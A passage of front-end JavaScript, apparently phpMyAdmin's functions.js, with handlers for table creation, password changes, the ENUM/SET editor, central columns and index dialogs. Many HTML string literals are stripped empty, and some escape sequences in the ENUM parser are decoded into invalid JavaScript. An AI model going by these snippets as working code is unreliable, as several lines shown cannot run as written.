statement parts (from, where, order by, etc.) and a newline statementPart = statements[currentStatement].indexOf(tokens[i][1]); if (statementPart !== -1) { if (i > 0) { output += '\n'; } output += tabs(indentLevel) + tokens[i][1].toUpperCase(); output += '\n' + tabs(indentLevel + 1); lastStatementPart = tokens[i][1]; // Normal indentation and spaces for everything else } else { if (! spaceExceptionsBefore[tokens[i][1]] && ! (i > 0 && spaceExceptionsAfter[tokens[i - 1][1]]) && output.charAt(output.length - 1) !== ' ') { output += ' '; } if (tokens[i][0] === 'keyword') { output += tokens[i][1].toUpperCase(); } else { output += tokens[i][1]; } } // split columns in select and 'update set' clauses, but only inside statements blocks if ((lastStatementPart === 'select' || lastStatementPart === 'where' || lastStatementPart === 'set') && tokens[i][1] === ',' && blockStack[0] === 'statement') { output += '\n' + tabs(indentLevel + 1); } // split conditions in where clauses, but only inside statements blocks if (lastStatementPart === 'where' && (tokens[i][1] === 'and' || tokens[i][1] === 'or' || tokens[i][1] === 'xor')) { if (blockStack[0] === 'statement') { output += '\n' + tabs(indentLevel + 1); } // Todo: Also split and or blocks in newlines & indentation++ // if (blockStack[0] === 'generic') // output += ... } } return output; }; /** * jQuery function that uses jQueryUI's dialogs to confirm with user. Does not * return a jQuery object yet and hence cannot be chained * * @param {string} question * @param {string} url URL to be passed to the callbackFn to make * an Ajax call to * @param {Function} callbackFn callback to execute after user clicks on OK * @param {Function} openCallback optional callback to run when dialog is shown * * @return {bool} */ Functions.confirm = function (question, url, callbackFn, openCallback) { var confirmState = CommonParams.get('confirm'); if (! confirmState) { // user does not want to confirm if (typeof callbackFn === 'function') { callbackFn.call(this, url); return true; } } if (Messages.strDoYouReally === '') { return true; } /** * @var button_options Object that stores the options passed to jQueryUI * dialog */ var buttonOptions = [ { text: Messages.strOK, 'class': 'btn btn-primary submitOK', click: function () { $(this).dialog('close'); if (typeof callbackFn === 'function') { callbackFn.call(this, url); } } }, { text: Messages.strCancel, 'class': 'btn btn-secondary submitCancel', click: function () { $(this).dialog('close'); } } ]; $('
          ', { 'id': 'confirm_dialog', 'title': Messages.strConfirm }) .prepend(question) .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, buttons: buttonOptions, close: function () { $(this).remove(); }, open: openCallback, modal: true }); }; jQuery.fn.confirm = Functions.confirm; /** * jQuery function to sort a table's body after a new row has been appended to it. * * @param {string} textSelector string to select the sortKey's text * * @return {JQuery} for chaining purposes */ Functions.sortTable = function (textSelector) { return this.each(function () { /** * @var table_body Object referring to the table's element */ var tableBody = $(this); /** * @var rows Object referring to the collection of rows in {@link tableBody} */ var rows = $(this).find('tr').get(); // get the text of the field that we will sort by $.each(rows, function (index, row) { row.sortKey = $(row).find(textSelector).text().toLowerCase().trim(); }); // get the sorted order rows.sort(function (a, b) { if (a.sortKey < b.sortKey) { return -1; } if (a.sortKey > b.sortKey) { return 1; } return 0; }); // pull out each row from the table and then append it according to it's order $.each(rows, function (index, row) { $(tableBody).append(row); row.sortKey = null; }); }); }; jQuery.fn.sortTable = Functions.sortTable; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('submit', 'form.create_table_form.ajax'); $(document).off('click', 'form.create_table_form.ajax input[name=submit_num_fields]'); $(document).off('keyup', 'form.create_table_form.ajax input'); $(document).off('change', 'input[name=partition_count],input[name=subpartition_count],select[name=partition_by]'); }); /** * jQuery coding for 'Create Table'. Used on /database/operations, * /database/structure and /database/tracking (i.e., wherever * PhpMyAdmin\Display\CreateTable is used) * * Attach Ajax Event handlers for Create Table */ AJAX.registerOnload('functions.js', function () { /** * Attach event handler for submission of create table form (save) */ $(document).on('submit', 'form.create_table_form.ajax', function (event) { event.preventDefault(); /** * @var the_form object referring to the create table form */ var $form = $(this); /* * First validate the form; if there is a problem, avoid submitting it * * Functions.checkTableEditForm() needs a pure element and not a jQuery object, * this is why we pass $form[0] as a parameter (the jQuery object * is actually an array of DOM elements) */ if (Functions.checkTableEditForm($form[0], $form.find('input[name=orig_num_fields]').val())) { Functions.prepareForAjaxRequest($form); if (Functions.checkReservedWordColumns($form)) { Functions.ajaxShowMessage(Messages.strProcessingRequest); // User wants to submit the form $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#properties_message') .removeClass('alert-danger') .html(''); Functions.ajaxShowMessage(data.message); // Only if the create table dialog (distinct panel) exists var $createTableDialog = $('#create_table_dialog'); if ($createTableDialog.length > 0) { $createTableDialog.dialog('close').remove(); } $('#tableslistcontainer').before(data.formatted_sql); /** * @var tables_table Object referring to the element that holds the list of tables */ var tablesTable = $('#tablesForm').find('tbody').not('#tbl_summary_row'); // this is the first table created in this db if (tablesTable.length === 0) { CommonActions.refreshMain( CommonParams.get('opendb_url') ); } else { /** * @var curr_last_row Object referring to the last element in {@link tablesTable} */ var currLastRow = $(tablesTable).find('tr').last(); /** * @var curr_last_row_index_string String containing the index of {@link currLastRow} */ var currLastRowIndexString = $(currLastRow).find('input:checkbox').attr('id').match(/\d+/)[0]; /** * @var curr_last_row_index Index of {@link currLastRow} */ var currLastRowIndex = parseFloat(currLastRowIndexString); /** * @var new_last_row_index Index of the new row to be appended to {@link tablesTable} */ var newLastRowIndex = currLastRowIndex + 1; /** * @var new_last_row_id String containing the id of the row to be appended to {@link tablesTable} */ var newLastRowId = 'checkbox_tbl_' + newLastRowIndex; data.newTableString = data.newTableString.replace(/checkbox_tbl_/, newLastRowId); // append to table $(data.newTableString) .appendTo(tablesTable); // Sort the table $(tablesTable).sortTable('th'); // Adjust summary row DatabaseStructure.adjustTotals(); } // Refresh navigation as a new table has been added Navigation.reload(); // Redirect to table structure page on creation of new table var argsep = CommonParams.get('arg_separator'); var params12 = 'ajax_request=true' + argsep + 'ajax_page_request=true'; var tableStructureUrl = 'index.php?route=/table/structure' + argsep + 'server=' + data.params.server + argsep + 'db=' + data.params.db + argsep + 'token=' + data.params.token + argsep + 'goto=' + encodeURIComponent('index.php?route=/database/structure') + argsep + 'table=' + data.params.table + ''; $.get(tableStructureUrl, params12, AJAX.responseHandler); } else { Functions.ajaxShowMessage( '', false ); } }); // end $.post() } } }); // end create table form (save) /** * Submits the intermediate changes in the table creation form * to refresh the UI accordingly * * @param actionParam */ function submitChangesInCreateTableForm (actionParam) { /** * @var the_form object referring to the create table form */ var $form = $('form.create_table_form.ajax'); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); // User wants to add more fields to the table $.post($form.attr('action'), $form.serialize() + '&' + actionParam, function (data) { if (typeof data !== 'undefined' && data.success) { var $pageContent = $('#page_content'); $pageContent.html(data.message); Functions.highlightSql($pageContent); Functions.verifyColumnsProperties(); Functions.hideShowConnection($('.create_table_form select[name=tbl_storage_engine]')); Functions.ajaxRemoveMessage($msgbox); } else { Functions.ajaxShowMessage(data.error); } }); // end $.post() } /** * Attach event handler for create table form (add fields) */ $(document).on('click', 'form.create_table_form.ajax input[name=submit_num_fields]', function (event) { event.preventDefault(); submitChangesInCreateTableForm('submit_num_fields=1'); }); // end create table form (add fields) $(document).on('keydown', 'form.create_table_form.ajax input[name=added_fields]', function (event) { if (event.keyCode === 13) { event.preventDefault(); event.stopImmediatePropagation(); $(this) .closest('form') .find('input[name=submit_num_fields]') .trigger('click'); } }); /** * Attach event handler to manage changes in number of partitions and subpartitions */ $(document).on('change', 'input[name=partition_count],input[name=subpartition_count],select[name=partition_by]', function () { var $this = $(this); var $form = $this.parents('form'); if ($form.is('.create_table_form.ajax')) { submitChangesInCreateTableForm('submit_partition_change=1'); } else { $form.trigger('submit'); } }); $(document).on('change', 'input[value=AUTO_INCREMENT]', function () { if (this.checked) { var col = /\d/.exec($(this).attr('name')); col = col[0]; var $selectFieldKey = $('select[name="field_key[' + col + ']"]'); if ($selectFieldKey.val() === 'none_' + col) { $selectFieldKey.val('primary_' + col).trigger('change', [false]); } } }); $('body') .off('click', 'input.preview_sql') .on('click', 'input.preview_sql', function () { var $form = $(this).closest('form'); Functions.previewSql($form); }); }); /** * Validates the password field in a form * * @see Messages.strPasswordEmpty * @see Messages.strPasswordNotSame * @param {object} $theForm The form to be validated * @return {boolean} */ Functions.checkPassword = function ($theForm) { // Did the user select 'no password'? if ($theForm.find('#nopass_1').is(':checked')) { return true; } else { var $pred = $theForm.find('#select_pred_password'); if ($pred.length && ($pred.val() === 'none' || $pred.val() === 'keep')) { return true; } } var $password = $theForm.find('input[name=pma_pw]'); var $passwordRepeat = $theForm.find('input[name=pma_pw2]'); var alertMessage = false; if ($password.val() === '') { alertMessage = Messages.strPasswordEmpty; } else if ($password.val() !== $passwordRepeat.val()) { alertMessage = Messages.strPasswordNotSame; } if (alertMessage) { alert(alertMessage); $password.val(''); $passwordRepeat.val(''); $password.trigger('focus'); return false; } return true; }; /** * Attach Ajax event handlers for 'Change Password' on index.php */ AJAX.registerOnload('functions.js', function () { /* Handler for hostname type */ $(document).on('change', '#select_pred_hostname', function () { var hostname = $('#pma_hostname'); if (this.value === 'any') { hostname.val('%'); } else if (this.value === 'localhost') { hostname.val('localhost'); } else if (this.value === 'thishost' && $(this).data('thishost')) { hostname.val($(this).data('thishost')); } else if (this.value === 'hosttable') { hostname.val('').prop('required', false); } else if (this.value === 'userdefined') { hostname.trigger('focus').select().prop('required', true); } }); /* Handler for editing hostname */ $(document).on('change', '#pma_hostname', function () { $('#select_pred_hostname').val('userdefined'); $('#pma_hostname').prop('required', true); }); /* Handler for username type */ $(document).on('change', '#select_pred_username', function () { if (this.value === 'any') { $('#pma_username').val('').prop('required', false); $('#user_exists_warning').css('display', 'none'); } else if (this.value === 'userdefined') { $('#pma_username').trigger('focus').trigger('select').prop('required', true); } }); /* Handler for editing username */ $(document).on('change', '#pma_username', function () { $('#select_pred_username').val('userdefined'); $('#pma_username').prop('required', true); }); /* Handler for password type */ $(document).on('change', '#select_pred_password', function () { if (this.value === 'none') { $('#text_pma_pw2').prop('required', false).val(''); $('#text_pma_pw').prop('required', false).val(''); } else if (this.value === 'userdefined') { $('#text_pma_pw2').prop('required', true); $('#text_pma_pw').prop('required', true).trigger('focus').trigger('select'); } else { $('#text_pma_pw2').prop('required', false); $('#text_pma_pw').prop('required', false); } }); /* Handler for editing password */ $(document).on('change', '#text_pma_pw,#text_pma_pw2', function () { $('#select_pred_password').val('userdefined'); $('#text_pma_pw2').prop('required', true); $('#text_pma_pw').prop('required', true); }); /** * Unbind all event handlers before tearing down a page */ $(document).off('click', '#change_password_anchor.ajax'); /** * Attach Ajax event handler on the change password anchor */ $(document).on('click', '#change_password_anchor.ajax', function (event) { event.preventDefault(); var $msgbox = Functions.ajaxShowMessage(); /** * @var buttonOptions Object containing options to be passed to jQueryUI's dialog */ var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, 'class': 'btn btn-primary', }, [Messages.strCancel]: { text: Messages.strCancel, 'class': 'btn btn-secondary', }, }; buttonOptions[Messages.strGo].click = function () { event.preventDefault(); /** * @var $the_form Object referring to the change password form */ var $theForm = $('#change_password_form'); if (! Functions.checkPassword($theForm)) { return false; } /** * @var {string} thisValue String containing the value of the submit button. * Need to append this for the change password form on Server Privileges * page to work */ var thisValue = $(this).val(); var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $theForm.append(''); $.post($theForm.attr('action'), $theForm.serialize() + CommonParams.get('arg_separator') + 'change_pw=' + thisValue, function (data) { if (typeof data === 'undefined' || data.success !== true) { Functions.ajaxShowMessage(data.error, false); return; } var $pageContent = $('#page_content'); $pageContent.prepend(data.message); Functions.highlightSql($pageContent); $('#change_password_dialog').hide().remove(); $('#edit_user_dialog').dialog('close').remove(); Functions.ajaxRemoveMessage($msgbox); }); // end $.post() }; buttonOptions[Messages.strCancel].click = function () { $(this).dialog('close'); }; $.get($(this).attr('href'), { 'ajax_request': true }, function (data) { if (typeof data === 'undefined' || !data.success) { Functions.ajaxShowMessage(data.error, false); return; } if (data.scripts) { AJAX.scriptHandler.load(data.scripts); } $('
          ') .dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strChangePassword, width: 600, close: function () { $(this).remove(); }, buttons: buttonOptions, modal: true }) .append(data.message); // for this dialog, we remove the fieldset wrapping due to double headings $('fieldset#fieldset_change_password') .find('legend').remove().end() .find('table.table').unwrap().addClass('m-3') .find('input#text_pma_pw').trigger('focus'); $('#fieldset_change_password_footer').hide(); Functions.ajaxRemoveMessage($msgbox); Functions.displayPasswordGenerateButton(); $('#change_password_form').on('submit', function (e) { e.preventDefault(); $(this) .closest('.ui-dialog') .find('.ui-dialog-buttonpane .ui-button') .first() .trigger('click'); }); }); // end $.get() }); // end handler for change password anchor }); // end $() for Change Password /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', 'select.column_type'); $(document).off('change', 'select.default_type'); $(document).off('change', 'select.virtuality'); $(document).off('change', 'input.allow_null'); $(document).off('change', '.create_table_form select[name=tbl_storage_engine]'); }); /** * Toggle the hiding/showing of the "Open in ENUM/SET editor" message when * the page loads and when the selected data type changes */ AJAX.registerOnload('functions.js', function () { // is called here for normal page loads and also when opening // the Create table dialog Functions.verifyColumnsProperties(); // // needs on() to work also in the Create Table dialog $(document).on('change', 'select.column_type', function () { Functions.showNoticeForEnum($(this)); Functions.showWarningForIntTypes(); }); $(document).on('change', 'select.default_type', function () { Functions.hideShowDefaultValue($(this)); }); $(document).on('change', 'select.virtuality', function () { Functions.hideShowExpression($(this)); }); $(document).on('change', 'input.allow_null', function () { Functions.validateDefaultValue($(this)); }); $(document).on('change', '.create_table_form select[name=tbl_storage_engine]', function () { Functions.hideShowConnection($(this)); }); }); /** * If the chosen storage engine is FEDERATED show connection field. Hide otherwise * * @param $engineSelector storage engine selector */ Functions.hideShowConnection = function ($engineSelector) { var $connection = $('.create_table_form input[name=connection]'); var $labelTh = $('.create_table_form #storage-engine-connection'); if ($engineSelector.val() !== 'FEDERATED') { $connection .prop('disabled', true) .parent('td').hide(); $labelTh.hide(); } else { $connection .prop('disabled', false) .parent('td').show(); $labelTh.show(); } }; /** * If the column does not allow NULL values, makes sure that default is not NULL * * @param $nullCheckbox */ Functions.validateDefaultValue = function ($nullCheckbox) { if (! $nullCheckbox.prop('checked')) { var $default = $nullCheckbox.closest('tr').find('.default_type'); if ($default.val() === 'NULL') { $default.val('NONE'); } } }; /** * function to populate the input fields on picking a column from central list * * @param {string} inputId input id of the name field for the column to be populated * @param {number} offset of the selected column in central list of columns */ Functions.autoPopulate = function (inputId, offset) { var db = CommonParams.get('db'); var table = CommonParams.get('table'); var newInputId = inputId.substring(0, inputId.length - 1); $('#' + newInputId + '1').val(centralColumnList[db + '_' + table][offset].col_name); var colType = centralColumnList[db + '_' + table][offset].col_type.toUpperCase(); $('#' + newInputId + '2').val(colType); var $input3 = $('#' + newInputId + '3'); $input3.val(centralColumnList[db + '_' + table][offset].col_length); if (colType === 'ENUM' || colType === 'SET') { $input3.next().show(); } else { $input3.next().hide(); } var colDefault = centralColumnList[db + '_' + table][offset].col_default.toUpperCase(); var $input4 = $('#' + newInputId + '4'); if (colDefault === 'NULL' || colDefault === 'CURRENT_TIMESTAMP' || colDefault === 'CURRENT_TIMESTAMP()') { if (colDefault === 'CURRENT_TIMESTAMP()') { colDefault = 'CURRENT_TIMESTAMP'; } $input4.val(colDefault); $input4.siblings('.default_value').hide(); } if (colDefault === '') { $input4.val('NONE'); $input4.siblings('.default_value').hide(); } else { $input4.val('USER_DEFINED'); $input4.siblings('.default_value').show(); $input4.siblings('.default_value').val(centralColumnList[db + '_' + table][offset].col_default); } $('#' + newInputId + '5').val(centralColumnList[db + '_' + table][offset].col_collation); var $input6 = $('#' + newInputId + '6'); $input6.val(centralColumnList[db + '_' + table][offset].col_attribute); if (centralColumnList[db + '_' + table][offset].col_extra === 'on update CURRENT_TIMESTAMP') { $input6.val(centralColumnList[db + '_' + table][offset].col_extra); } if (centralColumnList[db + '_' + table][offset].col_extra.toUpperCase() === 'AUTO_INCREMENT') { $('#' + newInputId + '9').prop('checked',true).trigger('change'); } else { $('#' + newInputId + '9').prop('checked',false); } if (centralColumnList[db + '_' + table][offset].col_isNull !== '0') { $('#' + newInputId + '7').prop('checked',true); } else { $('#' + newInputId + '7').prop('checked',false); } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'a.open_enum_editor'); $(document).off('click', 'input.add_value'); $(document).off('click', '#enum_editor td.drop'); $(document).off('click', 'a.central_columns_dialog'); }); /** * Opens the ENUM/SET editor and controls its functions */ AJAX.registerOnload('functions.js', function () { $(document).on('click', 'a.open_enum_editor', function () { // Get the name of the column that is being edited var colname = $(this).closest('tr').find('input').first().val(); var title; var i; // And use it to make up a title for the page if (colname.length < 1) { title = Messages.enum_newColumnVals; } else { title = Messages.enum_columnVals.replace( /%s/, '"' + Functions.escapeHtml(decodeURIComponent(colname)) + '"' ); } // Get the values as a string var inputstring = $(this) .closest('td') .find('input') .val(); // Escape html entities inputstring = $('
          ') .text(inputstring) .html(); // Parse the values, escaping quotes and // slashes on the fly, into an array var values = []; var inString = false; var curr; var next; var buffer = ''; for (i = 0; i < inputstring.length; i++) { curr = inputstring.charAt(i); next = i === inputstring.length ? '' : inputstring.charAt(i + 1); if (! inString && curr === '\'') { inString = true; } else if (inString && curr === '\\' && next === '\\') { buffer += '\'; i++; } else if (inString && next === '\'' && (curr === '\'' || curr === '\\')) { buffer += '''; i++; } else if (inString && curr === '\'') { inString = false; values.push(buffer); buffer = ''; } else if (inString) { buffer += curr; } } if (buffer.length > 0) { // The leftovers in the buffer are the last value (if any) values.push(buffer); } var fields = ''; // If there are no values, maybe the user is about to make a // new list so we add a few for them to get started with. if (values.length === 0) { values.push('', '', '', ''); } // Add the parsed values to the editor var dropIcon = Functions.getImage('b_drop'); for (i = 0; i < values.length; i++) { fields += '' + '' + '' + dropIcon + ''; } /** * @var dialog HTML code for the ENUM/SET dialog */ var dialog = '
          ' + '
          ' + '' + title + '' + '

          ' + Functions.getImage('s_notice') + Messages.enum_hint + '

          ' + '' + fields + '
          ' + '
          ' + '
          ' + '
          ' + '
          ' + '
          ' + '
          ' + '' + '
          ' + '
          '; $('#enumEditorGoButton').on('click', function () { // When the submit button is clicked, // put the data back into the original form var valueArray = []; $('#enumEditorModal').find('.values input').each(function (index, elm) { var val = elm.value.replace(/\\/g, '\\\\').replace(/'/g, '\'\''); valueArray.push('\'' + val + '\''); }); // get the Length/Values text field where this value belongs var valuesId = $('#enumEditorModal').find('input[type=\'hidden\']').val(); $('input#' + valuesId).val(valueArray.join(',')); }); // Show the dialog var width = parseInt( (parseInt($('html').css('font-size'), 10) / 13) * 340, 10 ); if (! width) { width = 340; } $('#enumEditorModal').modal('show'); $('#enumEditorModal').find('.modal-body').first().html(dialog); // slider for choosing how many fields to add $('#enumEditorModal').find('.slider').slider({ animate: true, range: 'min', value: 1, min: 1, max: 9, slide: function (event, ui) { $(this).closest('table').find('input[type=submit]').val( Functions.sprintf(Messages.enum_addValue, ui.value) ); } }); // Focus the slider, otherwise it looks nearly transparent $('a.ui-slider-handle').addClass('ui-state-focus'); return false; }); $(document).on('click', 'a.central_columns_dialog', function () { var href = 'index.php?route=/database/central-columns'; var db = CommonParams.get('db'); var table = CommonParams.get('table'); var maxRows = $(this).data('maxrows'); var pick = $(this).data('pick'); if (pick !== false) { pick = true; } var params = { 'ajax_request' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'cur_table' : CommonParams.get('table'), 'getColumnList':true }; var colid = $(this).closest('td').find('input').attr('id'); var fields = ''; if (! (db + '_' + table in centralColumnList)) { centralColumnList.push(db + '_' + table); $.ajax({ type: 'POST', url: href, data: params, success: function (data) { centralColumnList[db + '_' + table] = data.message; }, async:false }); } var i = 0; var listSize = centralColumnList[db + '_' + table].length; var min = (listSize <= maxRows) ? listSize : maxRows; for (i = 0; i < min; i++) { fields += '
          ' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_name) + '
          ' + centralColumnList[db + '_' + table][i].col_type; if (centralColumnList[db + '_' + table][i].col_attribute !== '') { fields += '(' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_attribute) + ') '; } if (centralColumnList[db + '_' + table][i].col_length !== '') { fields += '(' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_length) + ') '; } fields += Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_extra) + '' + '
          '; if (pick) { fields += ''; } fields += ''; } var resultPointer = i; var searchIn = ''; if (fields === '') { fields = Functions.sprintf(Messages.strEmptyCentralList, '\'' + Functions.escapeHtml(db) + '\''); searchIn = ''; } var seeMore = ''; if (listSize > maxRows) { seeMore = '
          ' + '' + Messages.seeMore + '
          '; } var centralColumnsDialog = '
          ' + '
          ' + searchIn + '' + fields + '
          ' + '
          ' + seeMore + '
          '; var width = parseInt( (parseInt($('html').css('font-size'), 10) / 13) * 500, 10 ); if (! width) { width = 500; } var buttonOptions = {}; var $centralColumnsDialog = $(centralColumnsDialog).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, minWidth: width, maxHeight: 450, modal: true, title: Messages.pickColumnTitle, buttons: buttonOptions, open: function () { $('#col_list').on('click', '.pick', function () { $centralColumnsDialog.remove(); }); $('.filter_rows').on('keyup', function () { $.uiTableFilter($('#col_list'), $(this).val()); }); $('#seeMore').on('click', function () { fields = ''; min = (listSize <= maxRows + resultPointer) ? listSize : maxRows + resultPointer; for (i = resultPointer; i < min; i++) { fields += '
          ' + centralColumnList[db + '_' + table][i].col_name + '
          ' + centralColumnList[db + '_' + table][i].col_type; if (centralColumnList[db + '_' + table][i].col_attribute !== '') { fields += '(' + centralColumnList[db + '_' + table][i].col_attribute + ') '; } if (centralColumnList[db + '_' + table][i].col_length !== '') { fields += '(' + centralColumnList[db + '_' + table][i].col_length + ') '; } fields += centralColumnList[db + '_' + table][i].col_extra + '' + '
          '; if (pick) { fields += ''; } fields += ''; } $('#col_list').append(fields); resultPointer = i; if (resultPointer === listSize) { $('#seeMore').hide(); } return false; }); $(this).closest('.ui-dialog').find('.ui-dialog-buttonpane button').first().trigger('focus'); }, close: function () { $('#col_list').off('click', '.pick'); $('.filter_rows').off('keyup'); $(this).remove(); } }); return false; }); // $(document).on('click', 'a.show_central_list',function(e) { // }); // When "add a new value" is clicked, append an empty text field $(document).on('click', 'input.add_value', function (e) { e.preventDefault(); var numNewRows = $('#enumEditorModal').find('div.slider').slider('value'); while (numNewRows--) { $('#enumEditorModal').find('.values') .append( '' + '' + '' + Functions.getImage('b_drop') + '' ) .find('tr').last() .show('fast'); } }); // Removes the specified row from the enum editor $(document).on('click', '#enum_editor td.drop', function () { $(this).closest('tr').hide('fast', function () { $(this).remove(); }); }); }); /** * Ensures indexes names are valid according to their type and, for a primary * key, lock index name to 'PRIMARY' * @param {string} formId Variable which parses the form name as * the input * @return {boolean} false if there is no index form, true else */ Functions.checkIndexName = function (formId) { if ($('#' + formId).length === 0) { return false; } // Gets the elements pointers var $theIdxName = $('#input_index_name'); var $theIdxChoice = $('#select_index_choice'); // Index is a primary key if ($theIdxChoice.find('option:selected').val() === 'PRIMARY') { $theIdxName.val('PRIMARY'); $theIdxName.prop('disabled', true); } else { if ($theIdxName.val() === 'PRIMARY') { $theIdxName.val(''); } $theIdxName.prop('disabled', false); } return true; }; AJAX.registerTeardown('functions.js', function () { $(document).off('click', '#index_frm input[type=submit]'); }); AJAX.registerOnload('functions.js', function () { /** * Handler for adding more columns to an index in the editor */ $(document).on('click', '#index_frm input[type=submit]', function (event) { event.preventDefault(); var hadAddButtonHidden = $(this).closest('fieldset').find('.add_fields').hasClass('hide'); if (hadAddButtonHidden === false) { var rowsToAdd = $(this) .closest('fieldset') .find('.slider') .slider('value'); var tempEmptyVal = function () { $(this).val(''); }; var tempSetFocus = function () { if ($(this).find('option:selected').val() === '') { return true; } $(this).closest('tr').find('input').trigger('focus'); }; while (rowsToAdd--) { var $indexColumns = $('#index_columns'); var $newrow = $indexColumns .find('tbody > tr').first() .clone() .appendTo( $indexColumns.find('tbody') ); $newrow.find(':input').each(tempEmptyVal); // focus index size input on column picked $newrow.find('select').on('change', tempSetFocus); } } }); }); Functions.indexDialogModal = function (routeUrl, url, title, callbackSuccess, callbackFailure) { /* Remove the hidden dialogs if there are*/ var modal = $('#indexDialogModal'); const indexDialogPreviewModal = document.getElementById('indexDialogPreviewModal'); indexDialogPreviewModal.addEventListener('shown.bs.modal', () => { const modalBody = indexDialogPreviewModal.querySelector('.modal-body'); const $form = $('#index_frm'); const formUrl = $form.attr('action'); const sep = CommonParams.get('arg_separator'); const formData = $form.serialize() + sep + 'do_save_data=1' + sep + 'preview_sql=1' + sep + 'ajax_request=1'; $.post({ url: formUrl, data: formData, success: response => { if (! response.success) { modalBody.innerHTML = ''; return; } modalBody.innerHTML = response.sql_data; Functions.highlightSql($('#indexDialogPreviewModal')); }, error: () => { modalBody.innerHTML = ''; } }); }); indexDialogPreviewModal.addEventListener('hidden.bs.modal', () => { indexDialogPreviewModal.querySelector('.modal-body').innerHTML = '
          ' + '' + Messages.strLoading + '
          '; }); // Remove previous click listeners from other modal openings (issue: #17892) $('#indexDialogModalGoButton').off('click'); $('#indexDialogModalGoButton').on('click', function () { /** * @var the_form object referring to the export form */ var $form = $('#index_frm'); Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); // User wants to submit the form $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { var $sqlqueryresults = $('.sqlqueryresults'); if ($sqlqueryresults.length !== 0) { $sqlqueryresults.remove(); } if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); Functions.highlightSql($('.result_query')); $('.result_query .alert').remove(); /* Reload the field form*/ $('#table_index').remove(); $('
          ') .append(data.index_table) .find('#table_index') .insertAfter('#index_header'); var $editIndexDialog = $('#indexDialogModal'); if ($editIndexDialog.length > 0) { $editIndexDialog.modal('hide'); } $('div.no_indexes_defined').hide(); if (callbackSuccess) { callbackSuccess(data); } Navigation.reload(); } else { var $tempDiv = $('
          ').append(data.error); var $error; if ($tempDiv.find('.error code').length !== 0) { $error = $tempDiv.find('.error code').addClass('error'); } else { $error = $tempDiv; } if (callbackFailure) { callbackFailure(); } Functions.ajaxShowMessage($error, false); } }); // end $.post() }); var $msgbox = Functions.ajaxShowMessage(); $.post(routeUrl, url, function (data) { if (typeof data !== 'undefined' && data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); // Show dialog if the request was successful modal.modal('show'); modal.find('.modal-body').first().html(data.message); $('#indexDialogModalLabel').first().text(title); Functions.verifyColumnsProperties(); modal.find('.tblFooters').remove(); Functions.showIndexEditDialog(modal); } }); // end $.get() }; Functions.indexEditorDialog = function (url, title, callbackSuccess, callbackFailure) { Functions.indexDialogModal('index.php?route=/table/indexes', url, title, callbackSuccess, callbackFailure); }; Functions.indexRenameDialog = function (url, title, callbackSuccess, callbackFailure) { Functions.indexDialogModal('index.php?route=/table/indexes/rename', url, title, callbackSuccess, callbackFailure); }; Functions.showIndexEditDialog = function ($outer) { Indexes.checkIndexType(); Functions.checkIndexName('index_frm'); var $indexColumns = $('#index_columns'); $indexColumns.find('td').each(function () { $(this).css('width', $(this).width() + 'px'); }); $indexColumns.find('tbody').sortable({ axis: 'y', containment: $indexColumns.find('tbody'), tolerance: 'pointer' }); Functions.showHints($outer); // Add a slider for selecting how many columns to add to the index $outer.find('.slider').slider({ animate: true, value: 1, min: 1, max: 16, slide: function (event, ui) { $(this).closest('fieldset').find('input[type=submit]').val( Functions.sprintf(Messages.strAddToIndex, ui.value) ); } }); $('div.add_fields').removeClass('hide'); // focus index size input on column picked $outer.find('table#index_columns select').on('change', function () { if ($(this).find('option:selected').val() === '') { return true; } $(this).closest('tr').find('input').trigger('focus'); }); // Focus the slider, otherwise it looks nearly transparent $('a.ui-slider-handle').addClass('ui-state-focus'); // set focus on index name input, if empty var input = $outer.find('input#input_index_name'); if (! input.val()) { input.trigger('focus'); } }; /** * Function to display tooltips that were * generated on the PHP side by PhpMyAdmin\Util::showHint() * * @param {object} $div a div jquery object which specifies the * domain for searching for tooltips. If we * omit this parameter the function searches * in the whole body **/ Functions.showHints = function ($div) { var $newDiv = $div; if ($newDiv === undefined || !($newDiv instanceof jQuery) || $newDiv.length === 0) { $newDiv = $('body'); } $newDiv.find('.pma_hint').each(function () { Functions.tooltip( $(this).children('img'), 'img', $(this).children('span').html() ); }); }; AJAX.registerOnload('functions.js', function () { Functions.showHints(); }); Functions.mainMenuResizerCallback = function () { // 5 px margin for jumping menu in Chrome // eslint-disable-next-line compat/compat return $(document.body).width() - 5; }; // This must be fired only once after the initial page load $(function () { // Initialise the menu resize plugin $('#topmenu').menuResizer(Functions.mainMenuResizerCallback); // register resize event $(window).on('resize', function () { $('#topmenu').menuResizer('resize'); }); }); /** * var toggleButton This is a function that creates a toggle * sliding button given a jQuery reference * to the correct DOM element * * @param $obj */ Functions.toggleButton = function ($obj) { // In rtl mode the toggle switch is flipped horizontally // so we need to take that into account var right; if ($('span.text_direction', $obj).text() === 'ltr') { right = 'right'; } else { right = 'left'; } /** * @var h Height of the button, used to scale the * background image and position the layers */ var h = $obj.height(); $('img', $obj).height(h); $('table', $obj).css('bottom', h - 1); /** * @var on Width of the "ON" part of the toggle switch * @var off Width of the "OFF" part of the toggle switch */ var on = $('td.toggleOn', $obj).width(); var off = $('td.toggleOff', $obj).width(); // Make the "ON" and "OFF" parts of the switch the same size // + 2 